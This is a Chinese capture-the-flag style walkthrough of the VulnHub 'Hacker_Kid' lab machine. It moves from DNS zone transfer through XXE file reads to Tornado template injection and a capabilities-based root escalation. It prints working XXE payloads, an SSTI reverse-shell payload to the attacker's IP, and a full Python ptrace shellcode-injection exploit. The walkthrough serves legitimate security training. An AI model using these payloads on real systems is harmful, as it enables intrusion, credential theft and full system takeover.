当前位置:网站首页>vulnhub靶场-Hacker_Kid-v1.0.1
vulnhub靶场-Hacker_Kid-v1.0.1
2022-07-01 16:47:00 【KALC】
1、靶机信息
靶机名称:Hacker_Kid-v1.0.1
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得root权限
靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
kali服务器IP | 192.168.2.172 |
靶机IP | 192.168.2.174 |
2、主机发现
2.1 使用arp协议发现同一网段的靶机地址,得到靶机IP:192.168.2.174
arp-scan -l

2.2 使用nmap进行全端口探测,发现开放53,80,9999端口

2.3 针对各个端口进行服务版本扫描,53为DNS服务,80为apache http服务,9999为Tornado http服务

3、Web信息收集
3.1 对9999端口尝试访问,发现页面需要输入账密,暂且滤过,看下80端口
http://192.168.2.174:9999

3.2 访问靶机的80端口,发现页面提示我们不断的去挖掘他在服务器上留存的信息
http://192.168.2.174:80

3.3 我们通过查看这个页面的源代码,这边有一个提示,使用GET 参数方式用page_no去查看页面

3.4 尝试使用page_no=1进行测试,发现页面提示我,深入一点是不对的,需要我们深入尝试更多的数字
http://192.168.2.174/?page_no=1

3.5 在这里使用burp进行抓包,设置变量

3.6 设置payload,这里我们从1跑到100,发现no.21的长度跟其他参数不一致

3.7 在浏览器访问对参数21进行访问,页面提示我们 他作为一个黑客创建了很多域名,以便他能够随时访问服务器,其中有一个域名是:hackers.blackhat.local
http://192.168.2.174/?page_no=21

3.8 我们在hosts中添加一条解析记录,将hackers.blackhat.local解析到192.168.2.174这个地址
192.168.2.174 hackers.blackhat.local
4、DNS区域传输-AXFR
DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有客户端发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的客户端执行DNS区域传送(zone transfer)操作是后果最为严重的错误配置之一。
区域传送漏洞的危害:黑客可以快速的判定出某个特定zone的所有主机,收集域信息,选择攻击目标,找出未使用的IP地址,黑客可以绕过基于网络的访问控制。
4.1 在这里使用DNS协议的axfr,客户端请求将blackhat.local 的整个区域全部记录进行传送,在这里我们拿到了多个域名信息
dig axfr @192.168.2.174 blackhat.local

4.2 将我们找到的域名全部添加至hosts文件,在这里我发现一个可疑站点,站点允许我们创建一个账户,但是邮箱处一直报错,邮箱不可用
http://hackerkid.blackhat.local.


5、XXE注入攻击
5.1 通过输入和返回值的分析,初步怀疑存在一个XML外部实体注入漏洞

5.2 使用XXE payload尝试读取/etc/passwd文件,在返回值中我们发现只有root和saket用户具备登陆bash的权限
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&test;
</email>
<password>
123
</password>
</root>
5.3 尝试读取.bashrc文件,bashrc 配置文件可以对命令进行自定义,在这里我们直接读取是报错的,使用php的base64过滤器进行编码并读取信息
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&test;
</email>
<password>
123
</password>
</root>
5.4 使用Decoder功能对Base64进行解码,在解码后内容中发现一个账密信息

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"5.5 拿到账密以后,通过前期信息收集,只发现9999端口上存在登陆页面,使用账密进行登录发现失败

5.6 观察这个账密,密码当中有个关键词Saket,在前面我们读取/etc/passwd中,saket账户是这个系统中除root外唯一能够有/bin/bash的权限,我们尝试使用saket进行登录,密码不变,成功登陆!

5、SSTI模板注入
5.1 在成功登陆后,系统提示告诉它我的名字,我怎么才能知道你是谁

5.2 在这里尝试一下用name变量进行测试,页面成功输出

5.3 在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下。首先第一个payload成功执行,输出了一个49的值,第二个payload是一个模板注入通用payload,页面报错说明存在模板注入漏洞
${7*7},{
{7*7}}
{
{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] //SSTI通用测试payload

5.4 既然存在模板注入漏洞,那就可以进行反弹shell的操作,首先在kali上监听端口,并将python反弹shell语句使用encodeURIComponent进行编码
编码前:{% import os %}{
{os.system('bash -c "bash -i >& /dev/tcp/192.168.2.172/9999 0>&1"')}}
编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.172%2F9999%200%3E%261%22')%7D%7D

6、Capabilitie提权
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
6.1 使用如下命令发现具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null -r 递归查询

6.2 通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。
在kali上编辑以下代码,并起名为exp.py,打开http服务,并利用靶机进行下载
kali:python3 -m http.server 80
靶机:wget http://192.168.2.172/exp.py
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)6.3 因需要root进程进行注入,编写脚本对root进程批量尝试
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

6.4 脚本执行成功,可以看到5600端口正在监听

6.5 使用nc直接连接即可完成提权操作

边栏推荐
- unity3d扩展工具栏
- sql刷题1050. 合作过至少三次的演员和导演
- 游戏行业安全选择游戏盾,效果怎么样?
- Yyds dry inventory MySQL RC transaction isolation level implementation
- Research and investment strategy report of China's sodium sulfate industry (2022 Edition)
- 【C语言基础】12 字符串
- China carbon disulfide industry research and investment strategy report (2022 Edition)
- Research and investment strategy report of hydroxypropyl beta cyclodextrin industry in China (2022 Edition)
- (12) About time-consuming printing
- Chinese diosgenin market forecast and investment strategy report (2022 Edition)
猜你喜欢

SQL注入漏洞(Mysql与MSSQL特性)

Alibaba cloud, Zhuoyi technology beach grabbing dialogue AI

National Security Agency (NSA) "sour Fox" vulnerability attack weapon platform technical analysis report
![[flask introduction series] cookies and session](/img/2e/d50e0a032c4ec48935cb5df206a29b.png)
[flask introduction series] cookies and session

How to solve the problem that the battery icon of notebook computer does not display

如何写出好代码 — 防御式编程指南

Installation and use of sqoop

sql刷题584. 寻找用户推荐人

SystemVerilog-结构体(二)

(1) CNN network structure
随机推荐
China sorbitol Market Forecast and investment strategy report (2022 Edition)
Activity的生命周期和启动模式详解
字节跳动数据平台技术揭秘:基于 ClickHouse 的复杂查询实现与优化
String类
中国酶制剂市场预测与投资战略研究报告(2022版)
【PyG】文档总结以及项目经验(持续更新
SQL question brushing 584 Looking for user references
(1) CNN network structure
模板引擎Velocity 基礎
sql刷题584. 寻找用户推荐人
Redis distributed lock
Redis 分布式锁
英特尔开源深度学习工具库 OpenVINO,将加大与本土软硬件方合作,持续开放
荣威 RX5 的「多一点」产品策略
PR basic clip operation / video export operation
中国一次性卫生用品生产设备行业深度调研报告(2022版)
China nylon 11 industry research and future forecast report (2022 Edition)
[flask introduction series] cookies and session
中国冰淇淋市场深度评估及发展趋势预测报告(2022版)
C language input / output stream and file operation